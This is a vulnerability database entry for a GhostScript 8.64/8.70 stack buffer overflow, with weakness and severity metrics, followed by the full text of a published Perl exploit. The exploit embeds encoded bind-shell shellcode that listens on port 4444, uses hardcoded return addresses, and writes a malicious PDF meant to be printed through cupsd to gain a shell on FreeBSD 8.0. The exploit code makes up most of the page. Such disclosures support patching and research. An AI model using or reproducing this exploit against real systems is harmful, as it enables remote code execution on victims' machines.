Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 14406
Publication date : 2010-07-17 22h00 +00:00
Author : Rodrigo Rubira Branco
EDB Verified : Yes
##########################################################################
# Check Point Software Technologies - Vulnerability Discovery Team (VDT) #
# Rodrigo Rubira Branco - <rbranco *noSPAM* checkpoint.com> #
# #
# GhostScript Stack Overflow #
# #
##########################################################################
# bsd/x86/shell_bind_tcp - 214 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# AppendExit=false, PrependSetresuid=false,
# PrependSetuid=false, LPORT=4444, RHOST=,
# PrependSetreuid=false
my $buf =
"\x54\x5a\xda\xd1\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43" .
"\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x50\x31\x49\x50" .
"\x46\x30\x45\x38\x4b\x4f\x44\x42\x42\x31\x51\x4c\x4d\x59" .
"\x4b\x57\x50\x50\x43\x5a\x45\x51\x42\x4a\x44\x42\x42\x4a" .
"\x44\x50\x4e\x50\x45\x31\x48\x4d\x4b\x30\x51\x47\x46\x30" .
"\x46\x30\x43\x5a\x45\x38\x51\x48\x48\x4d\x4b\x30\x4d\x59" .
"\x51\x57\x4a\x4c\x48\x30\x43\x5a\x48\x4d\x4d\x50\x4e\x50" .
"\x45\x4e\x48\x4d\x4d\x50\x50\x50\x50\x50\x43\x5a\x51\x4a" .
"\x50\x58\x48\x4d\x4d\x50\x4b\x4f\x50\x4f\x4a\x44\x43\x49" .
"\x4b\x46\x46\x30\x42\x48\x46\x4f\x46\x4f\x44\x33\x42\x48" .
"\x43\x58\x46\x4f\x43\x52\x45\x39\x42\x4e\x4b\x39\x4b\x53" .
"\x46\x30\x46\x34\x50\x53\x50\x50\x48\x30\x47\x4b\x48\x4d" .
"\x4d\x50\x41\x41";
$pkt = "e!PS".
"A" x 500 . "00001111222233334444555556666777788889999aaa".
"\x40\xd9\xbf\xbf". #Shellcode Addr
"bccccddd".
"\xef\xbe\xbf\xbf".
"ffff".
"\xff\xbf" x 100 .
"C" x (1200 - length($buf)) . $buf . "Z" x 100;
print STDERR "Check Point Vulnerability Discovery Team (VDT)\n";
print STDERR "GhostScript 8.70 exploit for FreeBSD 8.0!\n";
print STDERR "Rodrigo Rubira Branco (BSDaemon)\n";
print STDERR "\nCreating evil pdf ...";
open(F,">crash.pdf");
print F $pkt;
close(F);
print STDERR " d0ne!\n";
print "Now print it via cupsd!\n";
Products Mentioned
Configuraton 0
Artifex>>Gpl_ghostscript >> Version 8.64
Artifex>>Gpl_ghostscript >> Version 8.70
References